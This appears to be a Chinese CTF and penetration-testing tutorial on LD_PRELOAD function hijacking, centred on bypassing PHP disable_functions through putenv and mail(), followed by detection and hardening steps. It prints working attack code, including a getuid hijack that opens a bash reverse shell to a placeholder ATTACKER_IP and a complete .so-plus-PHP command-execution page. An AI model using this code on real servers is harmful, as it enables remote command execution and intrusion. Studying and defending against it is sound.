前言

LD_PRELOAD 是 Linux 动态链接器提供的一个环境变量,允许用户在程序运行前优先加载指定的共享库(.so 文件)。这个特性本是用于调试和性能分析(如 malloc 调试、内存检测),但在攻击场景中,它可以劫持程序调用的库函数,注入恶意代码。

在 CTF 和渗透测试中,LD_PRELOAD 最常见的用途是**绕过 PHP 的 disable_functions**——当 system()exec() 等危险函数被禁用时,通过劫持 mail() 等函数底层调用的 C 库函数来执行任意命令。

本文从动态链接基础讲起,逐步深入到劫持自定义程序、劫持系统命令、绕过 disable_functions 的多种姿势,以及检测和防御措施。


一、LD_PRELOAD 基础

1.1 什么是动态链接

Linux 程序在运行时需要调用各种库函数(如 printfrandstrncmp)。这些函数有两种链接方式:

链接方式 说明 特点
静态链接 编译时将库代码直接嵌入可执行文件 文件大、不依赖外部库、无法劫持
动态链接 运行时从 .so 文件中加载库函数 文件小、共享内存、可通过 LD_PRELOAD 劫持

绝大多数 Linux 程序使用动态链接。

1.2 LD_PRELOAD 原理

动态链接器在加载程序时,会按以下优先级顺序查找函数符号:

1
2
3
4
5
6
7
LD_PRELOAD 指定的 .so 文件          ← 最高优先级

LD_LIBRARY_PATH 指定的目录

/etc/ld.so.cache 缓存

/usr/lib、/lib 等默认路径 ← 最低优先级

因此,只要将恶意 .so 文件写入 LD_PRELOAD,其中同名函数就会覆盖系统库中的原始函数,实现劫持。

核心前提:

  • 恶意 .so 中的函数名必须与目标程序调用的函数名完全一致
  • 函数的参数类型和返回值类型也需要匹配(可从编译报错或 man 手册中获取)
  • LD_PRELOAD 只在进程启动时加载一次——已运行的进程不受影响

1.3 基本操作

1
2
3
4
5
6
7
8
# 设置 LD_PRELOAD
export LD_PRELOAD=/path/to/evil.so

# 查看当前设置
echo $LD_PRELOAD

# 还原
unset LD_PRELOAD

注意: export 设置的环境变量只对当前 shell 及其子进程生效,新开终端不会继承。


二、劫持自定义程序

2.1 编译目标程序

先从最简单的场景开始——劫持自己编译的程序。

1
2
3
4
5
# 假设有一个 random.c,内部调用了 rand() 函数
gcc -o random random.c

# 运行
./random

2.2 编写恶意共享库

写一个 evil.c,实现同名函数 rand()

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>

int rand() {
printf("[!] rand() 被劫持!返回固定值 42\n");
return 42; // 始终返回固定值,而非真正的随机数
}

编译为共享库:

1
gcc -shared -fPIC evil.c -o evil.so
编译选项 含义
-shared 生成共享库(.so)而非可执行文件
-fPIC 生成位置无关代码(Position Independent Code),使 .so 可被加载到任意内存地址

2.3 验证劫持

1
2
3
export LD_PRELOAD=./evil.so
./random
# 输出:[!] rand() 被劫持!返回固定值 42

验证加载顺序:

1
2
ldd random
# 回显中会看到 evil.so 排在最前面

注意: 恶意 .so不能有 main 函数——它是库,不是独立程序。


三、劫持系统命令

3.1 分析目标命令

ls 为例,先查看它调用了哪些库函数:

1
readelf -Ws /usr/bin/ls

回显示例:

1
2
3
4
5
fflush_unlocked@GLIBC_2.2.5

函数名:fflush_unlocked
库名:GLIBC
版本号:2.2.5

选择一个可劫持的函数(如 strncmp),确认其函数签名:

1
2
man strncmp
# int strncmp(const char *s1, const char *s2, size_t n);

技巧: 如果不确定参数类型,直接编译一个声明了该函数的 .c 文件,GCC 的报错信息会显示系统头文件中该函数的正确签名。

3.2 编写劫持代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
printf("[!] 系统命令已被劫持!\n");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD"); // 防止子进程再次触发劫持
payload();
return 0; // 始终返回 0(表示"相等")
}
1
2
3
4
gcc -shared -fPIC evil.c -o evil.so
export LD_PRELOAD=./evil.so
ls
# 输出:[!] 系统命令已被劫持!

为什么要 unsetenv("LD_PRELOAD") 被劫持的命令可能启动子进程,子进程会再次加载 LD_PRELOAD 指向的 .so,导致 payload() 被反复执行甚至死循环。unsetenv 确保只在当前进程中生效一次。


四、绕过 PHP disable_functions

这是 LD_PRELOAD 在 CTF 中最核心的应用场景。当 PHP 配置中禁用了 systemexecpassthru 等危险函数时,可以利用 mail()error_log() 函数启动新进程,再通过 LD_PRELOAD 劫持来执行命令。

4.1 基本原理与前提

核心思路:

1
2
3
4
5
PHP putenv("LD_PRELOAD=evil.so")
→ PHP mail() 调用 sendmail(启动新进程)
→ 新进程加载 evil.so
→ evil.so 中的恶意函数被执行
→ 拿到 shell / 执行命令

前提条件:

  • PHP 的 putenv() 未被禁用
  • mail()error_log() 至少有一个可用
  • 能够将 .so 文件上传到目标服务器(/tmp/var/tmp 通常可写)

4.2 利用 mail() 劫持

Step 1:跟踪 mail() 的系统调用

1
2
3
<?php
mail("a@localhost", "", "", "", "");
?>
1
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

从输出中找到 mail() 调用的 sendmail 进程所加载的库函数(例如 getuid)。

Step 2:编写劫持 .so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void payload() {
system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'");
}

uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
return 0;
}
1
gcc -shared -fPIC evil.c -o getuid.so

Step 3:PHP 中加载

1
2
3
4
<?php
putenv("LD_PRELOAD=/tmp/getuid.so");
mail("a@localhost", "", "", "", "");
?>

访问该 PHP 页面,VPS 上即可收到反弹 shell。

error_log() 同理: error_log("", 1, "", "") 也会触发 sendmail,用法与 mail() 完全一致。

4.3 利用 __attribute__((constructor)) —— 更优雅的方式

C 语言提供了 __attribute__((constructor)) 修饰符,被修饰的函数会在 main() 之前自动执行。一旦 .so 被加载,无需等待程序调用特定函数,构造函数中的代码立即运行。

这意味着:不需要分析 sendmail 具体调用了哪个库函数,只要 .so 被加载,payload 就会触发。

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__((__constructor__)) void preload(void) {
unsetenv("LD_PRELOAD");
printf("[!] LD_PRELOAD 劫持成功!\n");
system("id > /tmp/output.txt");
}

优势对比:

方式 需要分析目标函数 通用性 隐蔽性
劫持具体函数(如 getuid 需要 低(每个程序调用的函数不同) 较高
__attribute__((constructor)) 不需要 高(加载即触发) 一般

4.4 完整版:环境变量传参 + 命令回显

以下是一个生产级别的 bypass 方案,通过环境变量传递命令,并将结果写入文件供 PHP 读取:

evil.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char **environ;

__attribute__((__constructor__)) void preload(void) {
// 从环境变量中获取要执行的命令
const char *cmdline = getenv("EVIL_CMDLINE");

// 遍历环境变量数组,将 LD_PRELOAD 置空
// 注:unsetenv("LD_PRELOAD") 在某些发行版(如 CentOS)上可能无效
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// 执行命令
system(cmdline);
}
1
gcc -shared -fPIC evil.c -o bypass_disablefunc.so

PHP 端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
echo "<p><b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc.so</p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p><b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");
// error_log("", 1, "", ""); // 备选方案

echo "<p><b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

执行流程:

1
2
3
4
5
6
7
8
9
HTTP 请求(cmd=id&outpath=/tmp/out&sopath=/tmp/evil.so)
→ PHP putenv("EVIL_CMDLINE=id > /tmp/out 2>&1")
→ PHP putenv("LD_PRELOAD=/tmp/evil.so")
→ PHP mail() 启动 sendmail 进程
→ sendmail 加载 /tmp/evil.so
→ constructor 函数自动执行
→ getenv("EVIL_CMDLINE") 获取命令
→ system("id > /tmp/out 2>&1") 执行
→ PHP file_get_contents("/tmp/out") 读取结果并返回

4.5 为什么要找”能启动新进程”的函数

LD_PRELOAD 只在进程启动时被动态链接器读取。在 PHP-FPM 或 mod_php 模式下,PHP 进程已经在运行,设置 LD_PRELOAD 不会影响它自身。

因此必须找到 PHP 中能够fork/exec 新进程的函数,常见的有:

函数 底层调用 是否受 disable_functions 影响
mail() 调用 sendmail 否(mail 函数本身通常不被禁用)
error_log() 调用 sendmail
mb_send_mail() 调用 sendmail
imap_open() 调用 imap 客户端

五、自动化工具

手动编写 .so 和 PHP 比较繁琐,社区已有成熟的自动化工具:

5.1 Chankro

1
2
# 生成 bypass disable_functions 的 so + php
python chankro.py --arch 64 --input shell.sh --output bypass.php --path /tmp

5.2 bypass_disablefunc.php(蚁剑/AntSword 插件]

蚁剑的「绕过 disable_functions」插件内置了多种模式:LD_PRELOADFastCGI/PHP-FPMApache Mod CGIImageMagick 等,自动探测可用方法并生成 payload。


六、检测与排查

6.1 检查当前 LD_PRELOAD

1
2
3
4
5
6
7
8
9
# 查看环境变量
echo $LD_PRELOAD

# 检查所有进程的 LD_PRELOAD(需要 root)
for pid in /proc/*/; do
if [ -f "${pid}environ" ]; then
tr '\0' '\n' < "${pid}environ" | grep LD_PRELOAD && echo " → PID: $(basename $pid)"
fi
done

6.2 检查可疑 .so 文件

1
2
3
4
5
6
# 查找非系统路径下的 .so 文件
find /tmp /var/tmp /dev/shm -name "*.so" -type f 2>/dev/null

# 检查 .so 是否包含 constructor
readelf -d /tmp/suspicious.so 2>/dev/null | grep INIT
readelf -Ws /tmp/suspicious.so | grep FUNC

6.3 审计 PHP 配置

1
2
3
4
5
# 检查 putenv 是否被禁用
php -i | grep disable_functions
# 确认 mail/error_log 可用性
php -r "var_dump(function_exists('mail'));"
php -r "var_dump(function_exists('error_log'));"

七、防御措施

层面 措施 说明
PHP 配置 disable_functions 中加入 putenv 阻断 LD_PRELOAD 的设置入口
PHP 配置 使用 open_basedir 限制 PHP 只能访问指定目录,防止读写 /tmp 下的 .so
系统层面 /tmp 挂载 noexec 即使 .so 落地也无法被加载执行
SELinux / AppArmor 限制 sendmail 的可加载库路径 只允许从 /usr/lib 等系统路径加载
内核参数 kernel.yama.ptrace_scope 限制 strace 等工具被用于分析进程
监控 告警非系统路径下的 .so 文件 /tmp/dev/shm 等目录出现 .so 通常是攻击迹象
最小权限 PHP 进程以低权限用户运行 即使拿到 shell,权限也受限

防御示例:/tmp noexec 挂载

1
2
# /etc/fstab
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0

防御示例:SELinux 策略

1
2
# 限制 httpd 子进程的库加载路径
semanage fcontext -a -t httpd_sys_content_t "/var/www(/.*)?"

八、小结

LD_PRELOAD 劫持的核心链:

1
上传 .so → putenv 设置 LD_PRELOAD → 触发新进程 → .so 被加载 → 恶意代码执行

关键记忆点:

  1. LD_PRELOAD 只在进程启动时生效——必须找到能启动新进程的 PHP 函数
  2. __attribute__((constructor)) 让 payload 在 .so 加载时自动执行,无需分析程序调用了哪个函数
  3. unsetenv("LD_PRELOAD") 或手动置空 environ 数组,防止子进程反复触发
  4. 通过环境变量(EVIL_CMDLINE)传参是更灵活的方式,避免硬编码命令

参考